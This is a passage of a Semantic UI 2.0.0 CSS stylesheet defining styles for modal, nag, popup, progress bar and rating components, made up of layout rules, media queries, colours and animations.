-webkit-flex-direction: row;\n  -ms-flex-direction: row;\n  flex-direction: row;\n}\n\n/* Image */\n\n.ui.modal > .content > .image {\n  display: block;\n  -webkit-box-flex: 0;\n  -webkit-flex: 0 1 auto;\n  -ms-flex: 0 1 auto;\n  flex: 0 1 auto;\n  width: '';\n  -webkit-align-self: top;\n  -ms-flex-item-align: top;\n  align-self: top;\n}\n\n.ui.modal > [class*=\"top aligned\"] {\n  -webkit-align-self: top;\n  -ms-flex-item-align: top;\n  align-self: top;\n}\n\n.ui.modal > [class*=\"middle aligned\"] {\n  -webkit-align-self: middle;\n  -ms-flex-item-align: middle;\n  align-self: middle;\n}\n\n.ui.modal > [class*=\"stretched\"] {\n  -webkit-align-self: stretch;\n  -ms-flex-item-align: stretch;\n  align-self: stretch;\n}\n\n/* Description */\n\n.ui.modal > .content > .description {\n  display: block;\n  -webkit-box-flex: 1;\n  -webkit-flex: 1 0 auto;\n  -ms-flex: 1 0 auto;\n  flex: 1 0 auto;\n  min-width: 0px;\n  -webkit-align-self: top;\n  -ms-flex-item-align: top;\n  align-self: top;\n}\n\n.ui.modal > .content > .icon + .description,\n.ui.modal > .content > .image + .description {\n  -webkit-box-flex: 0;\n  -webkit-flex: 0 1 auto;\n  -ms-flex: 0 1 auto;\n  flex: 0 1 auto;\n  min-width: '';\n  width: auto;\n  padding-left: 2em;\n}\n\n/*rtl:ignore*/\n\n.ui.modal > .content > .image > i.icon {\n  margin: 0em;\n  opacity: 1;\n  width: auto;\n  line-height: 1;\n  font-size: 8rem;\n}\n\n/*--------------\n     Actions\n---------------*/\n\n.ui.modal .actions {\n  background: #f9fafb;\n  padding: 1rem 1rem;\n  border-top: 1px solid rgba(34, 36, 38, 0.15);\n  text-align: right;\n}\n\n.ui.modal .actions > .button {\n  margin-left: 0.75em;\n}\n\n/*-------------------\n       Responsive\n--------------------*/\n\n/* Modal Width */\n\n@media only screen and (max-width: 767px) {\n  .ui.modal {\n    width: 95%;\n    margin: 0em 0em 0em -47.5%;\n  }\n}\n\n@media only screen and (min-width: 768px) {\n  .ui.modal {\n    width: 88%;\n    margin: 0em 0em 0em -44%;\n  }\n}\n\n@media only screen and (min-width: 992px) {\n  .ui.modal {\n    width: 850px;\n    margin: 0em 0em 0em -425px;\n  }\n}\n\n@media only screen and (min-width: 1200px) {\n  .ui.modal {\n    width: 900px;\n    margin: 0em 0em 0em -450px;\n  }\n}\n\n@media only screen and (min-width: 1920px) {\n  .ui.modal {\n    width: 950px;\n    margin: 0em 0em 0em -475px;\n  }\n}\n\n/* Tablet and Mobile */\n\n@media only screen and (max-width: 992px) {\n  .ui.modal > .header {\n    padding-right: 2.25rem;\n  }\n\n  .ui.modal > .close {\n    top: 1.0535rem;\n    right: 1rem;\n    color: rgba(0, 0, 0, 0.87);\n  }\n}\n\n/* Mobile */\n\n@media only screen and (max-width: 767px) {\n  .ui.modal > .header {\n    padding: 0.75rem 1rem !important;\n    padding-right: 2.25rem !important;\n  }\n\n  .ui.modal > .content {\n    display: block;\n    padding: 1rem !important;\n  }\n\n  .ui.modal > .close {\n    top: 0.5rem !important;\n    right: 0.5rem !important;\n  }\n\n  /*rtl:ignore*/\n\n  .ui.modal .image.content {\n    -webkit-box-orient: vertical;\n    -webkit-box-direction: normal;\n    -webkit-flex-direction: column;\n    -ms-flex-direction: column;\n    flex-direction: column;\n  }\n\n  .ui.modal .content > .image {\n    display: block;\n    max-width: 100%;\n    margin: 0em auto !important;\n    text-align: center;\n    padding: 0rem 0rem 1rem !important;\n  }\n\n  .ui.modal > .content > .image > i.icon {\n    font-size: 5rem;\n    text-align: center;\n  }\n\n  /*rtl:ignore*/\n\n  .ui.modal .content > .description {\n    display: block;\n    width: 100% !important;\n    margin: 0em !important;\n    padding: 1rem 0rem !important;\n    box-shadow: none;\n  }\n\n  /* Let Buttons Stack */\n\n  .ui.modal > .actions {\n    padding: 1rem 1rem 0rem !important;\n  }\n\n  .ui.modal .actions > .buttons,\n  .ui.modal .actions > .button {\n    margin-bottom: 1rem;\n  }\n}\n\n/*--------------\n    Coupling\n---------------*/\n\n.ui.inverted.dimmer > .ui.modal {\n  box-shadow: 1px 3px 10px 2px rgba(0, 0, 0, 0.2);\n}\n\n/*******************************\n             Types\n*******************************/\n\n.ui.basic.modal {\n  background-color: transparent;\n  border: none;\n  border-radius: 0em;\n  box-shadow: none !important;\n  color: #ffffff;\n}\n\n.ui.basic.modal > .header,\n.ui.basic.modal > .content,\n.ui.basic.modal > .actions {\n  background-color: transparent;\n}\n\n.ui.basic.modal > .header {\n  color: #ffffff;\n}\n\n.ui.basic.modal > .close {\n  top: 1rem;\n  right: 1.5rem;\n}\n\n.ui.inverted.dimmer > .basic.modal {\n  color: rgba(0, 0, 0, 0.87);\n}\n\n.ui.inverted.dimmer > .ui.basic.modal > .header {\n  color: rgba(0, 0, 0, 0.85);\n}\n\n/* Tablet and Mobile */\n\n@media only screen and (max-width: 992px) {\n  .ui.basic.modal > .close {\n    color: #ffffff;\n  }\n}\n\n/*******************************\n             States\n*******************************/\n\n.ui.active.modal {\n  display: block;\n}\n\n/*******************************\n           Variations\n*******************************/\n\n/*--------------\n    Scrolling\n---------------*/\n\n/* A modal that cannot fit on the page */\n\n.scrolling.dimmable.dimmed {\n  overflow: hidden;\n}\n\n.scrolling.dimmable.dimmed > .dimmer {\n  overflow: auto;\n  -webkit-overflow-scrolling: touch;\n}\n\n.scrolling.dimmable > .dimmer {\n  position: fixed;\n}\n\n.modals.dimmer .ui.scrolling.modal {\n  position: static !important;\n  margin: 3.5rem auto !important;\n}\n\n/* undetached scrolling */\n\n.scrolling.undetached.dimmable.dimmed {\n  overflow: auto;\n  -webkit-overflow-scrolling: touch;\n}\n\n.scrolling.undetached.dimmable.dimmed > .dimmer {\n  overflow: hidden;\n}\n\n.scrolling.undetached.dimmable .ui.scrolling.modal {\n  position: absolute;\n  left: 50%;\n  margin-top: 3.5rem !important;\n}\n\n/* Coupling with Sidebar */\n\n.undetached.dimmable.dimmed > .pusher {\n  z-index: auto;\n}\n\n@media only screen and (max-width: 992px) {\n  .ui.scrolling.modal {\n    margin-top: 1rem;\n    margin-bottom: 1rem;\n  }\n}\n\n/*--------------\n   Full Screen\n---------------*/\n\n.ui.fullscreen.modal {\n  width: 95% !important;\n  left: 2.5% !important;\n  margin: 1em auto;\n}\n\n.ui.fullscreen.scrolling.modal {\n  left: 0em !important;\n}\n\n.ui.fullscreen.modal > .header {\n  padding-right: 2.25rem;\n}\n\n.ui.fullscreen.modal > .close {\n  top: 1.0535rem;\n  right: 1rem;\n  color: rgba(0, 0, 0, 0.87);\n}\n\n/*--------------\n      Size\n---------------*/\n\n.ui.modal {\n  font-size: 1rem;\n}\n\n/* Small */\n\n.ui.small.modal > .header:not(.ui) {\n  font-size: 1.3em;\n}\n\n/* Small Modal Width */\n\n@media only screen and (max-width: 767px) {\n  .ui.small.modal {\n    width: 95%;\n    margin: 0em 0em 0em -47.5%;\n  }\n}\n\n@media only screen and (min-width: 768px) {\n  .ui.small.modal {\n    width: 70.4%;\n    margin: 0em 0em 0em -35.2%;\n  }\n}\n\n@media only screen and (min-width: 992px) {\n  .ui.small.modal {\n    width: 680px;\n    margin: 0em 0em 0em -340px;\n  }\n}\n\n@media only screen and (min-width: 1200px) {\n  .ui.small.modal {\n    width: 720px;\n    margin: 0em 0em 0em -360px;\n  }\n}\n\n@media only screen and (min-width: 1920px) {\n  .ui.small.modal {\n    width: 760px;\n    margin: 0em 0em 0em -380px;\n  }\n}\n\n/* Large Modal Width */\n\n.ui.large.modal > .header {\n  font-size: 1.6em;\n}\n\n@media only screen and (max-width: 767px) {\n  .ui.large.modal {\n    width: 95%;\n    margin: 0em 0em 0em -47.5%;\n  }\n}\n\n@media only screen and (min-width: 768px) {\n  .ui.large.modal {\n    width: 88%;\n    margin: 0em 0em 0em -44%;\n  }\n}\n\n@media only screen and (min-width: 992px) {\n  .ui.large.modal {\n    width: 1020px;\n    margin: 0em 0em 0em -510px;\n  }\n}\n\n@media only screen and (min-width: 1200px) {\n  .ui.large.modal {\n    width: 1080px;\n    margin: 0em 0em 0em -540px;\n  }\n}\n\n@media only screen and (min-width: 1920px) {\n  .ui.large.modal {\n    width: 1140px;\n    margin: 0em 0em 0em -570px;\n  }\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*******************************\n         Site Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Nag\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n             Nag\n*******************************/\n\n.ui.nag {\n  display: none;\n  opacity: 0.95;\n  position: relative;\n  top: 0em;\n  left: 0px;\n  z-index: 999;\n  min-height: 0em;\n  width: 100%;\n  margin: 0em;\n  padding: 0.75em 1em;\n  background: #555555;\n  box-shadow: 0px 1px 2px 0px rgba(0, 0, 0, 0.2);\n  font-size: 1rem;\n  text-align: center;\n  color: rgba(0, 0, 0, 0.87);\n  border-radius: 0em 0em 0.28571429rem 0.28571429rem;\n  -webkit-transition: 0.2s background ease;\n  transition: 0.2s background ease;\n}\n\na.ui.nag {\n  cursor: pointer;\n}\n\n.ui.nag > .title {\n  display: inline-block;\n  margin: 0em 0.5em;\n  color: #ffffff;\n}\n\n.ui.nag > .close.icon {\n  cursor: pointer;\n  opacity: 0.4;\n  position: absolute;\n  top: 50%;\n  right: 1em;\n  font-size: 1em;\n  margin: -0.5em 0em 0em;\n  color: #ffffff;\n  -webkit-transition: opacity 0.2s ease;\n  transition: opacity 0.2s ease;\n}\n\n/*******************************\n             States\n*******************************/\n\n/* Hover */\n\n.ui.nag:hover {\n  background: #555555;\n  opacity: 1;\n}\n\n.ui.nag .close:hover {\n  opacity: 1;\n}\n\n/*******************************\n           Variations\n*******************************/\n\n/*--------------\n     Static\n---------------*/\n\n.ui.overlay.nag {\n  position: absolute;\n  display: block;\n}\n\n/*--------------\n     Fixed\n---------------*/\n\n.ui.fixed.nag {\n  position: fixed;\n}\n\n/*--------------\n     Bottom\n---------------*/\n\n.ui.bottom.nags,\n.ui.bottom.nag {\n  border-radius: 0.28571429rem 0.28571429rem 0em 0em;\n  top: auto;\n  bottom: 0em;\n}\n\n/*--------------\n     White\n---------------*/\n\n.ui.inverted.nags .nag,\n.ui.inverted.nag {\n  background-color: #f3f4f5;\n  color: rgba(0, 0, 0, 0.85);\n}\n\n.ui.inverted.nags .nag .close,\n.ui.inverted.nags .nag .title,\n.ui.inverted.nag .close,\n.ui.inverted.nag .title {\n  color: rgba(0, 0, 0, 0.4);\n}\n\n/*******************************\n           Groups\n*******************************/\n\n.ui.nags .nag {\n  border-radius: 0em !important;\n}\n\n.ui.nags .nag:last-child {\n  border-radius: 0em 0em 0.28571429rem 0.28571429rem;\n}\n\n.ui.bottom.nags .nag:last-child {\n  border-radius: 0.28571429rem 0.28571429rem 0em 0em;\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*******************************\n        User Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Popup\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n            Popup\n*******************************/\n\n.ui.popup {\n  display: none;\n  position: absolute;\n  top: 0px;\n  right: 0px;\n  /* Fixes content being squished when inline (moz only) */\n  min-width: -webkit-min-content;\n  min-width: -moz-min-content;\n  min-width: min-content;\n  z-index: 1900;\n  border: 1px solid #d4d4d5;\n  line-height: 1.4285em;\n  max-width: 250px;\n  background-color: #ffffff;\n  padding: 0.833em 1em;\n  font-weight: normal;\n  font-style: normal;\n  color: rgba(0, 0, 0, 0.87);\n  border-radius: 0.28571429rem;\n  box-shadow: 0px 2px 4px 0px rgba(34, 36, 38, 0.12), 0px 2px 10px 0px rgba(34, 36, 38, 0.08);\n}\n\n.ui.popup > .header {\n  padding: 0em;\n  font-family: 'Lato', 'Helvetica Neue', Arial, Helvetica, sans-serif;\n  font-size: 1.125em;\n  line-height: 1.2;\n  font-weight: bold;\n}\n\n.ui.popup > .header + .content {\n  padding-top: 0.5em;\n}\n\n.ui.popup:before {\n  position: absolute;\n  content: '';\n  width: 0.75em;\n  height: 0.75em;\n  background: #ffffff;\n  -webkit-transform: rotate(45deg);\n  -ms-transform: rotate(45deg);\n  transform: rotate(45deg);\n  z-index: 2;\n  box-shadow: 1px 1px 0px 0px #bababc;\n}\n\n/*******************************\n            Types\n*******************************/\n\n/*--------------\n     Spacing\n---------------*/\n\n.ui.popup {\n  margin: 0em;\n}\n\n/* Extending from Top */\n\n.ui.top.popup {\n  margin: 0em 0em 0.75em;\n}\n\n.ui.top.left.popup {\n  -webkit-transform-origin: left bottom;\n  -ms-transform-origin: left bottom;\n  transform-origin: left bottom;\n}\n\n.ui.top.center.popup {\n  -webkit-transform-origin: center bottom;\n  -ms-transform-origin: center bottom;\n  transform-origin: center bottom;\n}\n\n.ui.top.right.popup {\n  -webkit-transform-origin: right bottom;\n  -ms-transform-origin: right bottom;\n  transform-origin: right bottom;\n}\n\n/* Extending from Vertical Center */\n\n.ui.left.center.popup {\n  margin: 0em 0.75em 0em 0em;\n  -webkit-transform-origin: right 50%;\n  -ms-transform-origin: right 50%;\n  transform-origin: right 50%;\n}\n\n.ui.right.center.popup {\n  margin: 0em 0em 0em 0.75em;\n  -webkit-transform-origin: left 50%;\n  -ms-transform-origin: left 50%;\n  transform-origin: left 50%;\n}\n\n/* Extending from Bottom */\n\n.ui.bottom.popup {\n  margin: 0.75em 0em 0em;\n}\n\n.ui.bottom.left.popup {\n  -webkit-transform-origin: left top;\n  -ms-transform-origin: left top;\n  transform-origin: left top;\n}\n\n.ui.bottom.center.popup {\n  -webkit-transform-origin: center top;\n  -ms-transform-origin: center top;\n  transform-origin: center top;\n}\n\n.ui.bottom.right.popup {\n  -webkit-transform-origin: right top;\n  -ms-transform-origin: right top;\n  transform-origin: right top;\n}\n\n/*--------------\n     Pointer\n---------------*/\n\n/*--- Below ---*/\n\n.ui.bottom.center.popup:before {\n  margin-left: -0.325em;\n  top: -0.325em;\n  left: 50%;\n  right: auto;\n  bottom: auto;\n  box-shadow: -1px -1px 0px 0px #bababc;\n}\n\n.ui.bottom.left.popup {\n  margin-left: 0em;\n}\n\n.ui.bottom.left.popup:before {\n  top: -0.325em;\n  left: 1em;\n  right: auto;\n  bottom: auto;\n  margin-left: 0em;\n  box-shadow: -1px -1px 0px 0px #bababc;\n}\n\n.ui.bottom.right.popup {\n  margin-right: 0em;\n}\n\n.ui.bottom.right.popup:before {\n  top: -0.325em;\n  right: 1em;\n  bottom: auto;\n  left: auto;\n  margin-left: 0em;\n  box-shadow: -1px -1px 0px 0px #bababc;\n}\n\n/*--- Above ---*/\n\n.ui.top.center.popup:before {\n  top: auto;\n  right: auto;\n  bottom: -0.325em;\n  left: 50%;\n  margin-left: -0.325em;\n}\n\n.ui.top.left.popup {\n  margin-left: 0em;\n}\n\n.ui.top.left.popup:before {\n  bottom: -0.325em;\n  left: 1em;\n  top: auto;\n  right: auto;\n  margin-left: 0em;\n}\n\n.ui.top.right.popup {\n  margin-right: 0em;\n}\n\n.ui.top.right.popup:before {\n  bottom: -0.325em;\n  right: 1em;\n  top: auto;\n  left: auto;\n  margin-left: 0em;\n}\n\n/*--- Left Center ---*/\n\n.ui.left.center.popup:before {\n  top: 50%;\n  right: -0.325em;\n  bottom: auto;\n  left: auto;\n  margin-top: -0.325em;\n  box-shadow: 1px -1px 0px 0px #bababc;\n}\n\n/*--- Right Center  ---*/\n\n.ui.right.center.popup:before {\n  top: 50%;\n  left: -0.325em;\n  bottom: auto;\n  right: auto;\n  margin-top: -0.325em;\n  box-shadow: -1px 1px 0px 0px #bababc;\n}\n\n/*******************************\n            Coupling\n*******************************/\n\n/* Immediate Nested Grid */\n\n.ui.popup > .ui.grid:not(.padded) {\n  width: calc(100% + 1.75rem);\n  margin: -0.7rem -0.875rem;\n}\n\n/*******************************\n            States\n*******************************/\n\n.ui.loading.popup {\n  display: block;\n  visibility: hidden;\n  z-index: -1;\n}\n\n.ui.animating.popup,\n.ui.visible.popup {\n  display: block;\n}\n\n.ui.visible.popup {\n  -webkit-transform: translateZ(0px);\n  transform: translateZ(0px);\n  -webkit-backface-visibility: hidden;\n  backface-visibility: hidden;\n}\n\n/*******************************\n            Variations\n*******************************/\n\n/*--------------\n     Basic\n---------------*/\n\n.ui.basic.popup:before {\n  display: none;\n}\n\n/*--------------\n     Wide\n---------------*/\n\n.ui.wide.popup {\n  max-width: 350px;\n}\n\n.ui[class*=\"very wide\"].popup {\n  max-width: 550px;\n}\n\n/*--------------\n     Fluid\n---------------*/\n\n.ui.fluid.popup {\n  width: 100%;\n  max-width: none;\n}\n\n/*--------------\n     Colors\n---------------*/\n\n/* Inverted colors  */\n\n.ui.inverted.popup {\n  background: #1b1c1d;\n  color: #ffffff;\n  border: none;\n  box-shadow: none;\n}\n\n.ui.inverted.popup .header {\n  background-color: none;\n  color: #ffffff;\n}\n\n.ui.inverted.popup:before {\n  background-color: #1b1c1d;\n  box-shadow: none !important;\n}\n\n/*--------------\n     Flowing\n---------------*/\n\n.ui.flowing.popup {\n  max-width: none;\n}\n\n/*--------------\n     Sizes\n---------------*/\n\n.ui.mini.popup {\n  font-size: 0.71428571rem;\n}\n\n.ui.tiny.popup {\n  font-size: 0.85714286rem;\n}\n\n.ui.small.popup {\n  font-size: 0.92857143rem;\n}\n\n.ui.popup {\n  font-size: 1rem;\n}\n\n.ui.large.popup {\n  font-size: 1.14285714rem;\n}\n\n.ui.huge.popup {\n  font-size: 1.42857143rem;\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*******************************\n        User Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Progress Bar\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n            Progress\n*******************************/\n\n.ui.progress {\n  position: relative;\n  display: block;\n  max-width: 100%;\n  border: none;\n  margin: 1em 0em 2.5em;\n  box-shadow: none;\n  background: rgba(0, 0, 0, 0.1);\n  padding: 0em;\n  border-radius: 0.28571429rem;\n}\n\n.ui.progress:first-child {\n  margin: 0em 0em 2.5em;\n}\n\n.ui.progress:last-child {\n  margin: 0em 0em 1.5em;\n}\n\n/*******************************\n            Content\n*******************************/\n\n/* Activity Bar */\n\n.ui.progress .bar {\n  display: block;\n  line-height: 1;\n  position: relative;\n  width: 0%;\n  min-width: 2em;\n  background: #888888;\n  border-radius: 0.28571429rem;\n  -webkit-transition: width 0.1s ease, background-color 0.1s ease;\n  transition: width 0.1s ease, background-color 0.1s ease;\n}\n\n/* Percent Complete */\n\n.ui.progress .bar > .progress {\n  white-space: nowrap;\n  position: absolute;\n  width: auto;\n  font-size: 0.92857143em;\n  top: 50%;\n  right: 0.5em;\n  left: auto;\n  bottom: auto;\n  color: rgba(255, 255, 255, 0.7);\n  text-shadow: none;\n  margin-top: -0.5em;\n  font-weight: bold;\n  text-align: left;\n}\n\n/* Label */\n\n.ui.progress > .label {\n  position: absolute;\n  width: 100%;\n  font-size: 1em;\n  top: 100%;\n  right: auto;\n  left: 0%;\n  bottom: auto;\n  color: rgba(0, 0, 0, 0.87);\n  font-weight: bold;\n  text-shadow: none;\n  margin-top: 0.2em;\n  text-align: center;\n  -webkit-transition: color 0.4s ease;\n  transition: color 0.4s ease;\n}\n\n/*******************************\n            Types\n*******************************/\n\n/* Indicating */\n\n.ui.indicating.progress[data-percent^=\"1\"] .bar,\n.ui.indicating.progress[data-percent^=\"2\"] .bar {\n  background-color: #d95c5c;\n}\n\n.ui.indicating.progress[data-percent^=\"3\"] .bar {\n  background-color: #efbc72;\n}\n\n.ui.indicating.progress[data-percent^=\"4\"] .bar,\n.ui.indicating.progress[data-percent^=\"5\"] .bar {\n  background-color: #e6bb48;\n}\n\n.ui.indicating.progress[data-percent^=\"6\"] .bar {\n  background-color: #ddc928;\n}\n\n.ui.indicating.progress[data-percent^=\"7\"] .bar,\n.ui.indicating.progress[data-percent^=\"8\"] .bar {\n  background-color: #b4d95c;\n}\n\n.ui.indicating.progress[data-percent^=\"9\"] .bar,\n.ui.indicating.progress[data-percent^=\"100\"] .bar {\n  background-color: #66da81;\n}\n\n/* Indicating Label */\n\n.ui.indicating.progress[data-percent^=\"1\"] .label,\n.ui.indicating.progress[data-percent^=\"2\"] .label {\n  color: rgba(0, 0, 0, 0.87);\n}\n\n.ui.indicating.progress[data-percent^=\"3\"] .label {\n  color: rgba(0, 0, 0, 0.87);\n}\n\n.ui.indicating.progress[data-percent^=\"4\"] .label,\n.ui.indicating.progress[data-percent^=\"5\"] .label {\n  color: rgba(0, 0, 0, 0.87);\n}\n\n.ui.indicating.progress[data-percent^=\"6\"] .label {\n  color: rgba(0, 0, 0, 0.87);\n}\n\n.ui.indicating.progress[data-percent^=\"7\"] .label,\n.ui.indicating.progress[data-percent^=\"8\"] .label {\n  color: rgba(0, 0, 0, 0.87);\n}\n\n.ui.indicating.progress[data-percent^=\"9\"] .label,\n.ui.indicating.progress[data-percent^=\"100\"] .label {\n  color: rgba(0, 0, 0, 0.87);\n}\n\n/* Single Digits */\n\n.ui.indicating.progress[data-percent=\"1\"] .bar,\n.ui.indicating.progress[data-percent=\"2\"] .bar,\n.ui.indicating.progress[data-percent=\"3\"] .bar,\n.ui.indicating.progress[data-percent=\"4\"] .bar,\n.ui.indicating.progress[data-percent=\"5\"] .bar,\n.ui.indicating.progress[data-percent=\"6\"] .bar,\n.ui.indicating.progress[data-percent=\"7\"] .bar,\n.ui.indicating.progress[data-percent=\"8\"] .bar,\n.ui.indicating.progress[data-percent=\"9\"] .bar {\n  background-color: #d95c5c;\n}\n\n.ui.indicating.progress[data-percent=\"1\"] .label,\n.ui.indicating.progress[data-percent=\"2\"] .label,\n.ui.indicating.progress[data-percent=\"3\"] .label,\n.ui.indicating.progress[data-percent=\"4\"] .label,\n.ui.indicating.progress[data-percent=\"5\"] .label,\n.ui.indicating.progress[data-percent=\"6\"] .label,\n.ui.indicating.progress[data-percent=\"7\"] .label,\n.ui.indicating.progress[data-percent=\"8\"] .label,\n.ui.indicating.progress[data-percent=\"9\"] .label {\n  color: rgba(0, 0, 0, 0.87);\n}\n\n/* Indicating Success */\n\n.ui.indicating.progress.success .label {\n  color: #1a531b;\n}\n\n/*******************************\n             States\n*******************************/\n\n/*--------------\n     Success\n---------------*/\n\n.ui.progress.success .bar {\n  background-color: #21ba45 !important;\n}\n\n.ui.progress.success .bar,\n.ui.progress.success .bar::after {\n  -webkit-animation: none !important;\n  animation: none !important;\n}\n\n.ui.progress.success > .label {\n  color: #1a531b;\n}\n\n/*--------------\n     Warning\n---------------*/\n\n.ui.progress.warning .bar {\n  background-color: #f2c037 !important;\n}\n\n.ui.progress.warning .bar,\n.ui.progress.warning .bar::after {\n  -webkit-animation: none !important;\n  animation: none !important;\n}\n\n.ui.progress.warning > .label {\n  color: #794b02;\n}\n\n/*--------------\n     Error\n---------------*/\n\n.ui.progress.error .bar {\n  background-color: #db2828 !important;\n}\n\n.ui.progress.error .bar,\n.ui.progress.error .bar::after {\n  -webkit-animation: none !important;\n  animation: none !important;\n}\n\n.ui.progress.error > .label {\n  color: #912d2b;\n}\n\n/*--------------\n     Active\n---------------*/\n\n.ui.active.progress .bar {\n  position: relative;\n  min-width: 2em;\n}\n\n.ui.active.progress .bar::after {\n  content: '';\n  opacity: 0;\n  position: absolute;\n  top: 0px;\n  left: 0px;\n  right: 0px;\n  bottom: 0px;\n  background: #ffffff;\n  border-radius: 0.28571429rem;\n  -webkit-animation: progress-active 2s ease infinite;\n  animation: progress-active 2s ease infinite;\n}\n\n@-webkit-keyframes progress-active {\n  0% {\n    opacity: 0.3;\n    width: 0;\n  }\n\n  100% {\n    opacity: 0;\n    width: 100%;\n  }\n}\n\n@keyframes progress-active {\n  0% {\n    opacity: 0.3;\n    width: 0;\n  }\n\n  100% {\n    opacity: 0;\n    width: 100%;\n  }\n}\n\n/*--------------\n    Disabled\n---------------*/\n\n.ui.disabled.progress {\n  opacity: 0.35;\n}\n\n.ui.disabled.progress .bar,\n.ui.disabled.progress .bar::after {\n  -webkit-animation: none !important;\n  animation: none !important;\n}\n\n/*******************************\n           Variations\n*******************************/\n\n/*--------------\n    Inverted\n---------------*/\n\n.ui.inverted.progress {\n  background: rgba(255, 255, 255, 0.08);\n  border: none;\n}\n\n.ui.inverted.progress .bar {\n  background: #888888;\n}\n\n.ui.inverted.progress .bar > .progress {\n  color: #f9fafb;\n}\n\n.ui.inverted.progress > .label {\n  color: #ffffff;\n}\n\n.ui.inverted.progress.success > .label {\n  color: #21ba45;\n}\n\n.ui.inverted.progress.warning > .label {\n  color: #f2c037;\n}\n\n.ui.inverted.progress.error > .label {\n  color: #db2828;\n}\n\n/*--------------\n    Attached\n---------------*/\n\n/* bottom attached */\n\n.ui.progress.attached {\n  background: transparent;\n  position: relative;\n  border: none;\n  margin: 0em;\n}\n\n.ui.progress.attached,\n.ui.progress.attached .bar {\n  display: block;\n  height: 0.2rem;\n  padding: 0px;\n  overflow: hidden;\n  border-radius: 0em 0em 0.28571429rem 0.28571429rem;\n}\n\n.ui.progress.attached .bar {\n  border-radius: 0em;\n}\n\n/* top attached */\n\n.ui.progress.top.attached,\n.ui.progress.top.attached .bar {\n  top: 0px;\n  border-radius: 0.28571429rem 0.28571429rem 0em 0em;\n}\n\n.ui.progress.top.attached .bar {\n  border-radius: 0em;\n}\n\n/* Coupling */\n\n.ui.segment > .ui.attached.progress,\n.ui.card > .ui.attached.progress {\n  position: absolute;\n  top: auto;\n  left: 0;\n  bottom: 100%;\n  width: 100%;\n}\n\n.ui.segment > .ui.bottom.attached.progress,\n.ui.card > .ui.bottom.attached.progress {\n  top: 100%;\n  bottom: auto;\n}\n\n/*--------------\n     Colors\n---------------*/\n\n/* Red */\n\n.ui.red.progress .bar {\n  background-color: #db2828;\n}\n\n.ui.red.inverted.progress .bar {\n  background-color: #ff695e;\n}\n\n/* Orange */\n\n.ui.orange.progress .bar {\n  background-color: #f2711c;\n}\n\n.ui.orange.inverted.progress .bar {\n  background-color: #ff851b;\n}\n\n/* Yellow */\n\n.ui.yellow.progress .bar {\n  background-color: #fbbd08;\n}\n\n.ui.yellow.inverted.progress .bar {\n  background-color: #ffe21f;\n}\n\n/* Olive */\n\n.ui.olive.progress .bar {\n  background-color: #b5cc18;\n}\n\n.ui.olive.inverted.progress .bar {\n  background-color: #d9e778;\n}\n\n/* Green */\n\n.ui.green.progress .bar {\n  background-color: #21ba45;\n}\n\n.ui.green.inverted.progress .bar {\n  background-color: #2ecc40;\n}\n\n/* Teal */\n\n.ui.teal.progress .bar {\n  background-color: #00b5ad;\n}\n\n.ui.teal.inverted.progress .bar {\n  background-color: #6dffff;\n}\n\n/* Blue */\n\n.ui.blue.progress .bar {\n  background-color: #2185d0;\n}\n\n.ui.blue.inverted.progress .bar {\n  background-color: #54c8ff;\n}\n\n/* Violet */\n\n.ui.violet.progress .bar {\n  background-color: #6435c9;\n}\n\n.ui.violet.inverted.progress .bar {\n  background-color: #a291fb;\n}\n\n/* Purple */\n\n.ui.purple.progress .bar {\n  background-color: #a333c8;\n}\n\n.ui.purple.inverted.progress .bar {\n  background-color: #dc73ff;\n}\n\n/* Pink */\n\n.ui.pink.progress .bar {\n  background-color: #e03997;\n}\n\n.ui.pink.inverted.progress .bar {\n  background-color: #ff8edf;\n}\n\n/* Brown */\n\n.ui.brown.progress .bar {\n  background-color: #a5673f;\n}\n\n.ui.brown.inverted.progress .bar {\n  background-color: #d67c1c;\n}\n\n/* Grey */\n\n.ui.grey.progress .bar {\n  background-color: #767676;\n}\n\n.ui.grey.inverted.progress .bar {\n  background-color: #dcddde;\n}\n\n/* Black */\n\n.ui.black.progress .bar {\n  background-color: #1b1c1d;\n}\n\n.ui.black.inverted.progress .bar {\n  background-color: #545454;\n}\n\n/*--------------\n     Sizes\n---------------*/\n\n.ui.tiny.progress {\n  font-size: 0.85714286rem;\n}\n\n.ui.tiny.progress .bar {\n  height: 0.5em;\n}\n\n.ui.small.progress {\n  font-size: 0.92857143rem;\n}\n\n.ui.small.progress .bar {\n  height: 1em;\n}\n\n.ui.progress {\n  font-size: 1rem;\n}\n\n.ui.progress .bar {\n  height: 1.75em;\n}\n\n.ui.large.progress {\n  font-size: 1.14285714rem;\n}\n\n.ui.large.progress .bar {\n  height: 2.5em;\n}\n\n.ui.big.progress {\n  font-size: 1.28571429rem;\n}\n\n.ui.big.progress .bar {\n  height: 3.5em;\n}\n\n/*******************************\n            Progress\n*******************************/\n\n/*******************************\n         Site Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Rating\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n           Rating\n*******************************/\n\n.ui.rating {\n  display: -webkit-inline-box;\n  display: -webkit-inline-flex;\n  display: -ms-inline-flexbox;\n  display: inline-flex;\n  white-space: nowrap;\n  vertical-align: baseline;\n}\n\n.ui.rating:last-child {\n  margin-right: 0em;\n}\n\n/* Icon */\n\n.ui.rating .icon {\n  padding: 0em;\n  margin: 0em;\n  text-align: center;\n  font-weight: normal;\n  font-style: normal;\n  -webkit-box-flex: 1;\n  -webkit-flex: 1 0 auto;\n  -ms-flex: 1 0 auto;\n  flex: 1 0 auto;\n  cursor: pointer;\n  width: 1.25em;\n  height: auto;\n  -webkit-transition: opacity 0.1s 